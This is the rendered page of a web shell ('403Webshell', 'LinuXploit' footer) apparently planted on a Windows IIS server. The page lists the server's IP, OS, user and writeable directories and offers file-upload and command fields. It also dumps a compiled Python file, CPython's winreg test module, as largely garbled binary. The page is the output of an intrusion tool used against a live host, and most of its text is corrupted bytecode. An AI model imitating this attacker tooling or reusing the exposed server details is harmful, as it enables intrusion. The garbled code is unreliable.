403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_winreg.cpython-313.pyc
�

��ia��L�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJrJ	r	 SSK
JrJr \R"SS/S9 SSK7 \R\RR!S5S	-r\R("5SS
r\"5S:XaSOS
r\S:aSOS
rS\R0"54-rS\-rS\-rSS\4SS\4SS\4SS\4S/SQ\ 4S/SQ\ 4SS\!4S S!S"-\4S#S$S%-\!4S&S'\4/
r"\"S(S)\RF55r$"S*S+\RF5r%"S,S-\%5r&\RN"\S.5"S/S0\%55r(\RN"\S15"S2S3\%55r)\*S4:Xa"\(d	\+"S5S65 \RX"5 gg!\\4a SrGN2f=f)7�N)�machine�
win32_edition)�cpython_only�
import_helper�winreg�win)�required_on)�*z--remote���AMD64TF)�rz Python Test Key [%d] - Delete Mez	SOFTWARE\zSOFTWARE\Classes\z	Int Value�-zQword Valuel�w�*M	z
String ValzA string value�StringExpandzThe path is %path%zMulti-string)�Lots�of�string�valuesz	Multi-nul)�rrrzRaw Datasbinarydataz
Big String�xi�?z
Big Binary�xi@uJapanese 日本u	日本語c� �\rSrSrSrSrSrg)�
HeapTypeTests�7c�V�UR[R"[55 g�N)�
assertTrue�gc�
is_tracked�HKEYType��selfs �%C:\Python313\\Lib\test\test_winreg.py�test_have_gc�HeapTypeTests.test_have_gc9s������
�
�h�/�0�c�z�UR[S5 S[lSSS5 g!,(df   g=f)N�	immutable�bar)�assertRaisesRegex�	TypeErrorr �foor!s r#�test_immutable�HeapTypeTests.test_immutable<s%��
�
#�
#�I�{�
;� �H�L�<�
;�
;�s�,�
:�N)�__name__�
__module__�__qualname__�__firstlineno__r$r-�__static_attributes__r/r&r#rr7s��1�!r&rc�V�\rSrSrSrSrS\4SjrS\4Sjr	SSjr
SSjrS	rS
r
g)
�BaseWinregTests�Ac�8�UR[[5 gr)�delete_tree�HKEY_CURRENT_USER�
test_key_namer!s r#�setUp�BaseWinregTests.setUpCs��	
���*�M�:r&c���[XS[5n[US5nUR	X45 M ![a gf=f![a Of=f[U5 [
X5 g�Nr)�OpenKey�KEY_ALL_ACCESS�OSError�EnumKeyr9�CloseKey�	DeleteKey)r"�root�subkey�hkey�	subsubkeys     r#r9�BaseWinregTests.delete_treeHsx��	��4��N�;�D��
�#�D�!�,�	�
���T�-�
���	��	���
��
��	����$�s �4�A�
A�A�
A�A�sub_keyc���[U[[S5 U"U[5nURURS:g5 U"XB5n[
Hupgn[
XVSX�5 M [U5up�nURU	SS5 URU
SS5 [U5up�nURU	SS5 URU
[[
5S5 [U5n[U5 [U5 URS5 [U5n
UR5 [U
5 URS5 g![a NEf=f![a gf=f)N�
Default valuerrz"Not the correct number of sub keysz Not the correct number of valueszAIt appears the CloseKey() function does not close the actual key!zBIt appears the key.Close() function does not close the actual key!)�SetValuer;�REG_SZr�handle�	test_data�
SetValueEx�QueryInfoKey�assertEqual�len�intrD�failrB�Close)r"�root_key�	subkeystr�	CreateKey�keyrK�
value_name�
value_data�
value_type�nkeys�nvalues�	since_mod�int_sub_key�int_keys              r#�_write_test_data� BaseWinregTests._write_test_dataXsU��	��=�&�/�B���-�0������
�
�a��(��C�+��3<�.�J�J��w�A�z�F�3<�%1��$5�!��	������#G�H�����!�%G�H�$0��$9�!��	������#G�H�����#�i�.�;�	=�
�'�l�����	���%��I�I�2�
3�
�c�(���	�	��	���!��I�I�7�
8���	��	���	��	�s$�3E�+E�
E�E�
E%�$E%c���[U[5nURUSS5 U"U[5nU"XR5nSn[Xg5nURU[
;SS5 US-nM-![a Of=fURU[
[
5S5 [
H7up�n[Xi5up�URX�S5 URX�S5 M9 SSS5 O!,(df   O=fWR5 [US5nURX�S	5 [US5 URS
5 O![a Of=fUR5 g)NrMz+Registry didn't give back the correct valuerrTz&Didn't read back the correct test dataz'Didn't read the correct number of itemsz!Could not directly read the valuezRead subkey value wrongz2Was able to get a second key when I only have one!)�
QueryValuer;rT�	EnumValuerBrQrU�QueryValueExrXrCrW)r"rYrZr@�valr\rK�index�datar]r^r_�read_val�read_typs              r#�_read_test_data�BaseWinregTests._read_test_data�sa����=�1������o�F�	H��h�
�.��
�S�
$���E���$�W�4�D�� � ���!2�D�!I�K���	���������

���U�C�	�N�F�
H�7@�2�
�
�%1�'�%F�"��� � ��!D�F�� � ��!D�F�	7@�%�
$�
$��(	�
�
���3��?������.G�H�	��C��O��I�I�J�K���	��	��	�	�	�sA�C$�A*�	!C$�*
A7�4C$�6A7�7A$C$�$
C2�$E�
E�Ec�$�[U[S[5n[X2S[5n[HupVn[	XE5 M [U5up�n
UR
USS5 UR
U	SS5 UR5 [X25 [X25 URS5 UR5 [U[5 [U[5nURS5 g![a NOf=f![a gf=f)Nrzsubkey not empty before deletez Deleting the key twice succeededzCould open the non-existent key)r@r;rArQ�DeleteValuerSrTrXrErWrB)r"rYrZr\rKr]r^r_r`rarbs           r#�_delete_test_data�!BaseWinregTests._delete_test_data�s����h�
�q�.�A���#�!�^�<��3<�.�J�J���,�3<�%1��$9�!��	������#C�D�����!�%E�F��
�
���#�!�	��c�%��I�I�8�9�	�	�	���(�M�*�	��(�M�2�C��I�I�7�8���	��	���	��	�s$�C2�!D�2
C?�>C?�
D�Dc�j�URX5 URX5 URX5 gr)rerprt)r"rYrZs   r#�	_test_all�BaseWinregTests._test_all�s,�����h�2����X�1����x�3r&c� �[XS[S9nURURS:g5 SSS5 [	XS[S9nURURS:g5 SSS5 g!,(df   NE=f!,(df   g=f)Nr)r\rK�reserved�access)�CreateKeyExrArrP�	OpenKeyEx)r"r\rK�ckey�okeys     r#�_test_named_args� BaseWinregTests._test_named_args�sw��
�S�A� .�0�37��O�O�D�K�K�1�,�-�0��3�!�,�.�15��O�O�D�K�K�1�,�-�.�.�	0�0��.�.�s�A.�A?�.
A<�?
B
r/N)rK)r0r1r2r3r<r9r[rer@rprtrwr�r4r/r&r#r6r6As6��;�
 � 4=�#,�(�R3<�W�&�P�<4�
.r&r6c��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
Sr\R "\S
:S5S5rSrSrSrSrSrSrg)�LocalWinregTests��c�Z�UR[5 UR[S5 g)Nu
日本-subkey)rwr:r!s r#�test_registry_works�$LocalWinregTests.test_registry_works�s�����(�)����(�/�:r&c��SnUR[US9 SnUR[US9 UR[5 g)Nc�$�[XS[5$r?)r|rA�r\rKs  r#�<lambda>�ILocalWinregTests.test_registry_works_extended_functions.<locals>.<lambda>�s
��;�s�Q��#Or&)r[c�$�[XS[5$r?)r}�KEY_READr�s  r#r�r��s
��9�S�1�h�#Gr&)r@)rer:rprt)r"�cke�okes   r#�&test_registry_works_extended_functions�7LocalWinregTests.test_registry_works_extended_functions�sF��P�����/�3��?�G�����.���<����0�1r&c�`�UR[[5 [[[5 gr)r�r:r;rEr!s r#�test_named_arguments�%LocalWinregTests.test_named_arguments�s �����/��?�	�#�]�3r&c��[S[5nURURS5 UR	5 URURS5 gr?)�ConnectRegistry�HKEY_LOCAL_MACHINE�assertNotEqualrPrXrT�r"�hs  r#�,test_connect_registry_to_local_machine_works�=LocalWinregTests.test_connect_registry_to_local_machine_works�s@���D�"4�5�����A�H�H�a�(�	���	�������1�%r&c�6�SnUR[U5 g)Nc�"�[S[5$)N�abcdefghijkl)r�r:r/r&r#r��CLocalWinregTests.test_nonexistent_remote_registry.<locals>.<lambda>�s��/�.�:K�Lr&)�assertRaisesrB)r"�connects  r#� test_nonexistent_remote_registry�1LocalWinregTests.test_nonexistent_remote_registry�s��L�����'�7�+r&c��[S5nUR[U5[5 URU[R
SS-5 g)Nz
%windir%\test�windirz\test)�ExpandEnvironmentStringsrT�type�str�os�environ)r"�rs  r#�testExpandEnvironmentStrings�-LocalWinregTests.testExpandEnvironmentStrings�s?��$�%5�6������a��#�&�����B�J�J�x�0�8�;�<r&c���[S[5nURURS5 [e!,(df   g=f![a URWRS5 gf=fr?)r�r�r�rPrBrTr�s  r#�test_context_manager�%LocalWinregTests.test_context_manager�sZ��	*� ��'9�:�a��#�#�A�H�H�a�0��
�;�:���	*����Q�X�X�q�)�	*�s%�A�#5�
A�A�A�&A/�.A/c�h^
�Sm
"U
4SjS[R5nU"5nUR5 [[[
S-5n[
S5H<n[U5upVn[
U5Hn[X85n	[X9S5 M M> SSS5 Sm
UR5 [[[
S-5 [[[
5 g!,(df   NL=f!Sm
UR5 [[[
S-5 [[[
5 f=f)NFc�">�\rSrSrU4SjrSrg)�>LocalWinregTests.test_changing_value.<locals>.VeryActiveThreadi
c��>�[[[5nSnSnT(d-U(aSOUnU(+n[US[U5 T(dM-SSS5 g!,(df   g=f)NT��xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxr�changing_value)r[r:r;rNrO)r"r\�	use_short�long_string�s�dones     �r#�run�BLocalWinregTests.test_changing_value.<locals>.VeryActiveThread.runsP����0�-�@�C� $�I�"*�K�"�#,�C�+��(1�M�	� ��&6���B�#�d�A�@�@�s�7A�
A&r/N�r0r1r2r3r�r4)r�s�r#�VeryActiveThreadr�
s���
C�
Cr&r�z\changing_value��rT)�	threading�Thread�startr[r:r;�rangerSrirh�joinrE)r"r��threadr\�_�num_subkeys�
num_values�t�i�namer�s          @r#�test_changing_value�$LocalWinregTests.test_changing_values������	C�y�/�/�	C�"�#������	8��,�(�);�;�=�@C��t��A�1=�c�1B�.�K�Q�"�:�.��(��0��"�3�Q��0�/�%�=��D��K�K�M��'��7I�)I�J��'��7�=�=���D��K�K�M��'��7I�)I�J��'��7�s$�C2�AC!�C2�!
C/�+C2�2?D1c�.^^^	�Sm[R"5mSS/m	"UUU	4SjS[R5nU"5nUR5 TR	5 [[[5n[S5H#n[US5upVURUT	5 M% SSS5 SmUR5 [[[5 g!,(df   N5=f!SmUR5 [[[5 f=f)	NFshamsspamc�&>�\rSrSrUUU4SjrSrg)�GLocalWinregTests.test_queryvalueex_race_condition.<locals>.WriterThreadi.c�
>�[[[5n[R"T5nT(d7[U5n[
USS[U5 TR5 T(dM7SSS5 g!,(df   g=f)N�
test_valuer)	r[r:r;�	itertools�cycle�nextrR�
REG_BINARY�set)r"r\�values_iterrkr��readyrs    ���r#r��KLocalWinregTests.test_queryvalueex_race_condition.<locals>.WriterThread.run/sX����0�-�@�C�"+�/�/�&�"9�K�"�"�;�/��"�3��a��S�I��	�	��#�d�A�@�@�s�AA4�4
Br/Nr�)r�r�rs���r#�WriterThreadr�.s
���
$�
$r&r�r�r�T)
r��Eventr�r��waitr[r:r;r�rj�assertInr�rE)
r"r�r�r\r��result�typr�r�rs
       @@@r#� test_queryvalueex_race_condition�1LocalWinregTests.test_queryvalueex_race_condition's���������!���'�"��	$�	$�9�+�+�	$��������	8��J�J�L��,�m�<���t��A�".�s�L�"A�K�F��M�M�&�&�1�	%�=��D��K�K�M��'��7�=�<���D��K�K�M��'��7�s$�$C,�93C�,C,�
C)�%C,�,(Dc	��Sn[[[5n[X![S5 [U5up4n[
US5 SSS5 [[SR[U455 [[[5 g!,(df   NH=f![[SR[U455 [[[5 f=f)N�xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxrr�\)	r[r:r;rNrOrSrCrEr�)r"r�r\r�r�r�s      r#�
test_long_key�LocalWinregTests.test_long_keyFs�����	8��,�m�<����F�C�0�-9�#�->�*�����Q��=�

�'����M�4�3H�)I�J��'��7�
=�<��

�'����M�4�3H�)I�J��'��7�s"�B�,B�B�
B�B�;Cc���[[S5 [[S5 g![aEnUR[R[R
4;aUR
S5 eSnAff=f)NrzMaccess denied to registry key (are you running in a non-interactive session?)r)ri�HKEY_PERFORMANCE_DATArB�errno�EPERM�EACCES�skipTestrj)r"�es  r#�test_dynamic_key�!LocalWinregTests.test_dynamic_keyTs`��	��+�Q�/�	�*�B�/���	��w�w�5�;�;����5�5��
�
�P�Q���		�s�#�
A2�AA-�-A2)�rzRequires Windows XPc�8�[[[5nURURS5 SSS5 [[[5nURURS5 UR
[5 [U5 SSS5 UR
[5 [U5 SSS5 UR
[5 [U5 SSS5 UR
[5 [[[5 SSS5 [[[5 g!,(df   GN=f!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   Nh=f![[[5 f=fr?)
r[r:r;r�rPr@r��NotImplementedError�DisableReflectionKey�EnableReflectionKey�QueryReflectionKey�DeleteKeyExrE)r"�ckr\s   r#�test_reflection_unsupported�,LocalWinregTests.test_reflection_unsupportedbs��	8��,�m�<���#�#�B�I�I�q�1�=��+�]�;�C�����
�
�A�.��"�"�#6�7�$�S�)�8��"�"�#6�7�#�C�(�8��"�"�#6�7�"�3�'�8��"�"�#6�7��-�}�=�8�
�'��7�=�<��8�7��7�7��7�7��7�7��
�'��7�s��F�D-�A
F�D?�F�)E�5F�E!�F�;E2�F�-
D<�7F�?
E
�	F�
E�F�!
E/�+F�2
F�<F�Fc��[[[5nURURS5 [USS[S5 SSS5 [[[5 g!,(df   N#=f![[[5 f=f)Nr�	test_name�)r[r:r;r�rPrR�	REG_DWORDrE�r"r�s  r#�test_setvalueex_value_range�,LocalWinregTests.test_setvalueex_value_rangevsa��
	8��,�m�<���#�#�B�I�I�q�1��2�{�D�)�Z�H�=�
�'��7�	=�<��
�'��7�s"�A4�0A#�A4�#
A1�-A4�4B
c	���[[[5nUR[5 [USS[S5 [USS[S5 SSS5 UR[[US5 UR[[US5 SSS5 [[[5 g!,(df   Nc=f!,(df   N4=f![[[5 f=f)N�test_name_dword����test_name_qword)r[r:r;r��
OverflowErrorrRr�	REG_QWORD�FileNotFoundErrorrjrErs  r#�"test_setvalueex_negative_one_check�3LocalWinregTests.test_setvalueex_negative_one_check�s���		8��,�m�<���&�&�}�5��r�#4�d�I�r�J��r�#4�d�I�r�J�6��!�!�"3�\�2�GX�Y��!�!�"3�\�2�GX�Y�=�
�'��7�6�5��=�<��
�'��7�s:�C�C�'B0�AC�C�0
B>	�:C�
C�C�C(c��[[[5nURURS5 Sn[USS[U5 [US5up4URU[5 URX25 SSS5 [[[5 g!,(df   N#=f![[[5 f=f)Nrr�r�)
r[r:r;r�rPrRrrjrTrE�r"r��test_val�ret_val�ret_types     r#�test_queryvalueex_return_value�/LocalWinregTests.test_queryvalueex_return_value�s���
		8��,�m�<���#�#�B�I�I�q�1�%���2�{�D�)�X�F�$0��[�$A�!��� � ��9�5�� � ��3�
=�
�'��7�=�<��
�'��7��#�B+�A'B�=B+�
B(�$B+�+Cc��[[[5nURURS5 Sn[USS[U5 [US5up4URU[5 URX25 SSS5 [[[5 g!,(df   N#=f![[[5 f=f)Nrr�)
r[r:r;r�rPrRr�rjrTrErs     r#�#test_setvalueex_crash_with_none_arg�4LocalWinregTests.test_setvalueex_crash_with_none_arg�s���		8��,�m�<���#�#�B�I�I�q�1����2�{�A�z�8�D�$0��[�$A�!��� � ��:�6�� � ��3�
=�
�'��7�=�<��
�'��7�rc��[[[5nURURS5 Sn[USS[U5 [US5up4URU[5 URUS5 SSS5 [[[5 g!,(df   N#=f![[[5 f=f)NrzA string with a nullr�zA string)
r[r:r;r�rPrRrOrjrTrErs     r#� test_read_string_containing_null�1LocalWinregTests.test_read_string_containing_null�s���		8��,�m�<���#�#�B�I�I�q�1�5���2�{�A�v�x�@�$0��[�$A�!��� � ��6�2�� � ��*�5�
=�
�'��7�=�<��
�'��7�s#�B,�A(B�>B,�
B)�%B,�,Cr/N)r0r1r2r3r�r�r�r�r�r�r�r�r�r�r��unittest�
skipUnless�WIN_VERr�rrrrrr4r/r&r#r�r��s{��;�
2�4�&�,�=�
*�8�@8�>8�
0�����6�)�+@�A�8�B�8�&
8�8�"8� 8�8r&r�zSkipping remote registry testsc��\rSrSrSrSrg)�RemoteWinregTestsi�c�N�[[[5nURU5 gr)r��REMOTE_NAMEr:rw)r"�
remote_keys  r#�test_remote_registry_works�,RemoteWinregTests.test_remote_registry_works�s��$�[�2C�D�
����z�"r&r/N)r0r1r2r3r#r4r/r&r#rr�s��#r&rzx64 specific registry testsc���\rSrSrSr\R"\"5S;S5S5r\R"\
S5S5r\R"\
S5S5rS	r
S
rg)�Win64WinregTestsi�c�h�UR[[5 [[[[SS9 g)Nr)r\rKr{rz)r�r:r;r�rAr!s r#r��%Win64WinregTests.test_named_arguments�s%�����/��?��)�=�)�A�	7r&)�WindowsCoreHeadless�	IoTEdgeOSz)APIs not available on WindowsCoreHeadlessc�(�[[S5nUR[U55 UR	[U55 UR	[
U55 UR[U55 SSS5 g!,(df   g=f)N�Software)r@r�rr��assertIsNoner�r�)r"r\s  r#�test_reflection_functions�*Win64WinregTests.test_reflection_functions�si���'��
4���O�O�.�s�3�4����1�#�6�7����2�3�7�8��O�O�.�s�3�4�5�
4�
4�s�A)B�
BzOS doesn't support reflectionc���[[[S[[-5nURURS5 [[[S[[-5nURURS5 SSS5 [USS[S5 SnUR[U5 SSS5 [[[S[[-5nURURS5 URS[US55 [USS[S5 SSS5 [[[S[[-5nURS[US55 SSS5 [![[[S5 g!,(df   GN=f!,(df   N�=f!,(df   N�=f!,(df   N]=f![![[[S5 f=f)Nrr�32KEYc�D�[[[S[[-5$r?)r@r:�test_reflect_key_namer��KEY_WOW64_64KEYr/r&r#r��2Win64WinregTests.test_reflection.<locals>.<lambda>�s��G�,=�,A�1�,4��,F�%Hr&�64KEY)r|r:r3rA�KEY_WOW64_32KEYr�rPr@rRrOr�rBr4rTrhr�r�)r"�created_keyr\�	open_fails    r#�test_reflection� Win64WinregTests.test_reflection�s���$	,��.�0E�q�+�o�=�?�BM��#�#�K�$6�$6��:��.�0E�q�+�o�=�?�BE��'�'��
�
�A�6�?�
�;��A�v�w�?�H�	��!�!�'�9�5�#?�(�*�,A�1�'�/�9�;�>A��#�#�C�J�J��2�� � ��*�S�"�*=�>��3��A�v�w�7�
;��*�,A�1�!�O�3�5�8;�� � ��*�S�"�*=�>�5�
�)�+@�'��
,�;?�?��?�?��(;�;��5�5��
�)�+@�'��
,�sk�!G�>F"�!F�>4F"�2)G�AF3�')G�G�-G�
F	�F"�"
F0�,G�3
G�=G�
G�G�G1c��[[[S[[-5n[U5nUR
[U5[5 URU5 [U5 UR[U55 SSS5 SnUR[U5 [[[S[[-5nUR!UR"S5 SSS5 [%[[[S5 g!,(df   N�=f!,(df   N:=f![%[[[S5 f=f)Nrc�D�[[[S[[-5$r?)r}r:r3r�r4r/r&r#r��:Win64WinregTests.test_disable_reflection.<locals>.<lambda>s��	�*;�*?��*2�_�*D�!Fr&)r|r:r3rAr7r�rTr��bool�assertFalser�rr�rBr}r�r�rPr�)r"r8�disabledr9r\s     r#�test_disable_reflection�(Win64WinregTests.test_disable_reflections���	,��.�0E�q�+�o�=�?�BM�-�k�:��� � ��h���6�� � ��*�$�[�1���� 2�;� ?�@�?�F�I�
���g�y�1��,�.C�Q�#�o�5�7�:=��#�#�C�J�J��2�7�
�)�+@�'��
,�/?�?��&7�7��
�)�+@�'��
,�s<�!D(�A!D�AD(�D�#D(�
D�D(�
D%�!D(�(Ec��UR[5n[[S5 SSS5 g!,(df   g=f)N�some_value_that_does_not_exist)r�r
rh�HKEY_CLASSES_ROOT)r"�ctxs  r#�test_exception_numbers�'Win64WinregTests.test_exception_numbers$s+��
�
�
�0�
1�S��(�*J�K�2�
1�
1�s�0�
>r/N)r0r1r2r3r�r�skipIfrr.r�HAS_REFLECTIONr:rBrHr4r/r&r#r&r&�s}��7��_�_�]�_�(L�L�Ny�z�5�{�5�����)H�I�),�J�),�V����)H�I�,�J�,�:Lr&r&�__main__z)Remote registry calls can be tested usingz('test_winreg.py --remote \\machine_name')-rr��sysr�r�r�r�platformrr�test.supportrr�
import_moduler�argvrlr!�
IndexError�
ValueError�getwindowsversionr�
WIN64_MACHINErK�getpid�
test_key_baser;r3rr	rO�
REG_EXPAND_SZ�REG_MULTI_SZr�rQ�TestCaserr6r�rrr&r0�print�mainr/r&r#�<module>r]s��
������+�4����H�5�'�:����(�(�3�8�8�>�>�*�5�a�7�8�K�
�
�
�
!�"�1�
%���	�W�,��%�
�!�6�)��u��3�b�i�i�k�^�C�
��}�,�
�-�
�=���b�y�I��(�y�I��&�v�F��*�}�M��8�|�L��&�|�L��'�z�J��c�7�m�v�F��d�E�l�z�J���V�,�
�	��!�H�%�%�!��!�R.�h�'�'�R.�je8��e8�P
���[�"B�C�#��#�D�#�
���]�$A�B�_L��_L�C�_L�D�z���
�9�:�	<��M�M�O�	��m	�J����K��s�+F�
F#�"F#

Youez - 2016 - github.com/yon3zu
LinuXploit